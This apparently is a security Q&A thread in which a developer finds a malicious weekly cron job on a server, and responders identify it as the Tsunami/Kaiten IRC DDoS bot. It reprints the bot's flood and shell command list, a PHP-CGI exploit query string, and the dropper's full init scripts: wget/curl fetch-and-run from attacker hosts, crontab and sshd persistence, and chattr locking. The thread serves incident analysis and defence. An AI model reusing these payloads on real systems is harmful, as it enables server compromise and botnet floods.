12

I'm using a development server in which I found this in the crontab:

[...]
* * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1
@weekly wget http://stablehost.us/bots/regular.bot -O /dev/shm/tmp/.rnd;chmod +x /dev/shm/tmp/.rnd;/dev/shm/tmp/.rnd
[...]

http://stablehost.us/bots/regular.bot contents are:

#!/bin/sh

 if [ $(whoami) = "root" ]; then

    echo y|yum install perl-libwww-perl perl-IO-Socket-SSL openssl-devel zlib1g-dev gcc make
    echo y|apt-get install libwww-perl apt-get install libio-socket-ssl-perl openssl-devel zlib1g-dev gcc make

    pkg_add -r wget;pkg_add -r perl;pkg_add -r gcc

    wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o a a.c;mv a /lib/xpath.so;chmod +x /lib/xpath.so;/lib/xpath.so;rm -rf a.c
    wget -q http://linksys.secureshellz.net/bots/b -O /lib/xpath.so.1;chmod +x /lib/xpath.so.1;/lib/xpath.so.1
    wget -q http://linksys.secureshellz.net/bots/a -O /lib/xpath.so.2;chmod +x /lib/xpath.so.2;/lib/xpath.so.2  
    exit 1
 fi


 wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o .php a.c;rm -rf a.c;chmod +x .php; ./.php
 wget -q http://linksys.secureshellz.net/bots/a -O .phpa;chmod +x .phpa; ./.phpa
 wget -q http://linksys.secureshellz.net/bots/b -O .php_ ;chmod +x .php_;./.php_

I cannot contact the sysadmin for various reasons, so I cannot ask infos about this to him.

It seems to me this script downloads some remote C source codes and binaries, compile them and execute them.

I am a web developer, so I am not an expert about C language, but watching at the downloaded files it seems to me a bot injected in the cron of the server.

Can you give me more infos about what this code does? About its working, its purposes?

UPDATE: So we know, sadly, that it is a malware... I'm wondering: how does it work? can you give me details about this?

3 Answers 3

10

Send a mail to your sysadmin (you HAVE TO contact someone above you) or send it directly to the CIO, if you have to convince him, explain what you found and attach this part of the file named "a.c", that should suffice:

* There are a number of commands that can be sent to the client:              *
*       TSUNAMI <target> <secs>       = A PUSH+ACK flooder                    *
*       PAN <target> <port> <secs>    = A SYN flooder                         *
*       UDP <target> <port> <secs>    = An UDP flooder                        *
*       UNKNOWN <target> <secs>       = Another non-spoof udp flooder         *
*       NICK <nick>                   = Changes the nick of the client        *
*       SERVER <server>               = Changes servers                       *
*       GETSPOOFS                     = Gets the current spoofing             *
*       SPOOFS <subnet>               = Changes spoofing to a subnet          *
*       DISABLE                       = Disables all packeting from this bot  *
*       ENABLE                        = Enables all packeting from this bot   *
*       KILL                          = Kills the knight                      *
*       GET <http address> <save as>  = Downloads a file off the web          *
*       VERSION                       = Requests version of knight            *
*       KILLALL                       = Kills all current packeting           *
*       HELP                          = Displays this                         *
*       IRC <command>                 = Sends this command to the server      *
*       SH <command>                  = Executes a command                    *
* Remember, all these commands must be prefixed by a ! and the nickname that  *
* you want the command to be sent to (can include wildcards). There are no    *
* spaces in between the ! and the nickname, and there are no spaces before    *
* the !                                                                       *
*                                                                             *
*                               - contem on efnet                             *

Here are a few references to this particular backdoor:
- http://www.f-secure.com/v-descs/backdoor_osx_tsunami_a.shtml
- http://blog.eset.com/2011/10/25/linux-tsunami-hits-os-x

I can't find any reverse engineering of this malware, sorry.

2
  • So it is a malware... the third company which manages the server will be probably dropped in days (they proven to be incompetent for this and other problems), and the server will be formatted; I just wonder, how does this malware work? it compiles a C library, and then?
    – ProGNOMmers
    Jul 6, 2012 at 9:22
  • Given the variety of functions it supports it could do anything as there is a function to download an execute files and commands. It definately have flood capabilities. Which user had this crontab set-up ? Even if it's not root the user could have found an exploit to escalate to it as he most likely had acces to the server.
    – Shadok
    Jul 6, 2012 at 9:34
7

A server of which I have been reported about has been infected by this as well. It seems to be injecting it's crontab job through a php script uploaded through a cgi-bin/php exploit.

/cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input

I'm not quite sure how that works but from what I can tell, it's running a php script from the client's input but I couldn't replicate this through netcat, maybe I'm doing something wrong there.

Once the php script has created the cronjob, then on Sunday (or whenever your weekly launches) it would connect to the C&C to get the script. Your server requested this script, lucky the server I was reported for wasn't infected in time for the C&C however, such IP returned form the logs appears to be running a number of services.

The interesting ones are as follows. (I've reported the IP on projecthoneypot.org)

host          port  proto  name         state     info
----          ----  -----  ----         -----     ----
123.30.84.61  22    tcp    ssh          open      OpenSSH 4.3 protocol 2.0
123.30.84.61  111   tcp    rpcbind      open      2 RPC #100000
123.30.84.61  1098  tcp    rmiregistry  open      Java RMI
123.30.84.61  1099  tcp    ovm-manager  open      Oracle VM Manager
123.30.84.61  3306  tcp    mysql        open      MySQL unauthorized
123.30.84.61  4445  tcp    ovm-manager  open      Oracle VM Manager
123.30.84.61  8083  tcp    http         open      Bluecat Networks Proteus IPAM or Enterasys Dragon IDS http config

For what we can see - there is an IDS? Oracle VM manager with MySQL (Not Oracle). Port 80 isn't opened hence the C&C is "offline".

From the projecthoneypot.org site, it's clear that this attacker is trying to send viagra spam from your IP. Might not be but chances are considering that's what they have done from their own IP. However, with the Oracle VM manager there, I'm unsure for if this is an attacker directly or a VM host which the attacker is leaching from. This could mean that these attacks are unrelated to the viagra spam.

Thank you for the script you submitted in your question, this was useful for checking through the server I inspected to have been a safe hit because the host wasn't reply on port 80 at the time. Luckly in this case.

I suggest recording all traffic on your server with a full packet capture, if your sysadmin don't have the storage (quickly can require a lot) there are online cloud services for this purpose. This would let you and the sysadmin see what happens when assuming if an attacker does get into your server. Also as a suggestion, password protect or disable cgi-bin if possible, I've seen too many exploits over the years targeting standard scripts in there.

What are you running on the server?

What do logs tell you when you search for "123.30.84.61" or "stablehost.us"?

Due to the server hosting these C files is down, if you happen to have a copy, could you please upload somewhere that I could retreive these?

NOTE: I JUST noticed after writing all this that it's last years news... Oh well, I'm sure other people will find this helpful.

Update: As for the accepted answer, I don't have access to that code but no doubt if this attack was re-launched like this, I wouldn't expect the code to be the same.

0

Even if the question is pretty old, and the attack changed, the source is the same

I ve been hit by the new version of this ( and stablehost is the linking keyword here, still here years after the OP asked ), one of the servers I managed ( gentoo hardened, strong grsec config )have been compromised, most probably by shellshock.

For those interested, I could find the source code :

perl, this one is an IRC bot : 
http://205.237.100.171/manual/pb
also on pastebin : http://pastebin.com/NN42LJ0z

C , this one will create the init script:
http://205.237.100.171/manual/a.c
also on pastebin : http://pastebin.com/8PgTjhyb

init code : 
http://205.237.100.171/manual/init
also on http://pastebin.com/HyUUfn6S

its a bunch of code ( bash, C, perl and python ) and i wont copy paste all of it here, but the basic code is the one from the init, built from the C code :

gcc -o /tmp/init /tmp/a.c;
/tmp/init;
rm -rf /tmp/a.c /tmp/init;
echo "@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1" >/tmp/c;
crontab /tmp/c;
rm -rf /tmp/c;
chattr +isa /var/spool/cron/tabs/root;
chattr +isa /var/spool/cron/tabs;
echo "#!/bin/sh" > /etc/cron.weekly/00logrotate;
echo "wget http://stablehost.us/bots/regular.bot -O /tmp/sh" >>/etc/cron.weekly/00logrotate;
echo "curl -o /tmp/sh http://stablehost.us/bots/regular.bot" >> /etc/cron.weekly/00logrotate;
echo "sh /tmp/sh;rm -rf /tmp/sh" >>/etc/cron.weekly/00logrotate;
chmod +x /etc/cron.weekly/00logrotate;
chattr +isa /etc/cron.weekly/00logrotate;
#rm /usr/bin/chattr;
kill -9 `ps -aux|grep perl|awk {'print $2'}`;

and another ( more evolved it seems ) version of this init :

echo "nameserver 4.2.2.2" >> /etc/resolve.conf;
sed -i 's=umask 022=umask 022;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh=g' /etc/rc.d/init.d/sshd;
sed -i 's=umask 022=umask 022;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh=g' /etc/init.d/ssh;
wget http://205.237.100.171/manual/b -O /tmp/init;
wget http://205.237.100.171/manual/arm -O /tmp/arm;
wget http://205.237.100.171/manual/mipsel1 -O /tmp/mips
chmod +x /tmp/arm /tmp/init /tmp/mips
curl -o /tmp/init http://205.237.100.171/manual/b;
wget http://205.237.100.171/manual/a.c -O /tmp/a.c;
curl -o /tmp/a.c http://205.237.100.171/manual/a.c;
gcc -o /tmp/init /tmp/a.c;
/tmp/init;
rm -rf /tmp/a.c /tmp/init;
echo "@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1" >/tmp/c;
crontab /tmp/c;
rm -rf /tmp/c;
chattr +isa /var/spool/cron/tabs/root;
chattr +isa /var/spool/cron/tabs;
echo "#!/bin/sh" > /etc/cron.weekly/00logrotate;
echo "wget http://stablehost.us/bots/regular.bot -O /tmp/sh" >>/etc/cron.weekly/00logrotate;
echo "curl -o /tmp/sh http://stablehost.us/bots/regular.bot" >> /etc/cron.weekly/00logrotate;
echo "sh /tmp/sh;rm -rf /tmp/sh" >>/etc/cron.weekly/00logrotate;
chmod +x /etc/cron.weekly/00logrotate;
chattr +isa /etc/cron.weekly/00logrotate;
#rm /usr/bin/chattr;
kill -9 `ps -aux|grep perl|awk {'print $2'}`;

for this recent wave of shellshock/tsunami/kaiten attacks, see also http://wearetheartillery.blogspot.com/2014/10/interesting-shellshock-payload-being.html for more explanations

edit : just found another great explanation post from cloudflare: https://blog.cloudflare.com/inside-shellshock/

see also : http://www.ddosattacks.net/shellshock-being-used-to-build-a-ddos-botnet-to-launch-ddos-attacks/

the server I could analyze have been used for an udp flood against XXXX, my firewall blocked a good part of the outgoing attack, but most of the udpflood could go out

Oct 23 08:05:36 myname kernel: Shorewall:all2all:REJECT:IN= OUT=eth0
SRC=me DST=target LEN=9244 TOS=0x00 PREC=0x00 T
TL=64 ID=15736 PROTO=UDP SPT=41912 DPT=61587 LEN=9224

is the part of the outgoing attack i could block with my shorewall outgoing config, only the datacenter online.net have more infos about the kind of flood that could go out ( i have no logs about those packets and online.net gave me no details ) pass my firewall, they didnt want to give me any details.

9
  • This does not provide an answer to the question. To critique or request clarification from an author, leave a comment below their post.
    – RoraΖ
    Oct 23, 2014 at 19:12
  • well I thought reading the code could help understand "how does it work, and anyway i m still investigating this issue and editing my answer to add more code and links that will be useful for anyone being hacked by this shellshock/tsunami/kaiten attacks
    – neofutur
    Oct 23, 2014 at 20:18
  • also even if this question is very old, the same stablehost.us/bots/regular.bot is still here , but with different payloads , and reading the init code explains it all; I seriously think 205.237.100.171/manual/init answers most of the question
    – neofutur
    Oct 23, 2014 at 20:27
  • Then please explain which parts of the code answer the question. Links are generally used as sources/references. Link-only answers are usually removed.
    – RoraΖ
    Oct 23, 2014 at 20:34
  • when I reached this page what I most needed was the code, to understand the problem, i couldnt find this code, so I added it here, and i think its useful.
    – neofutur
    Oct 23, 2014 at 20:37

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .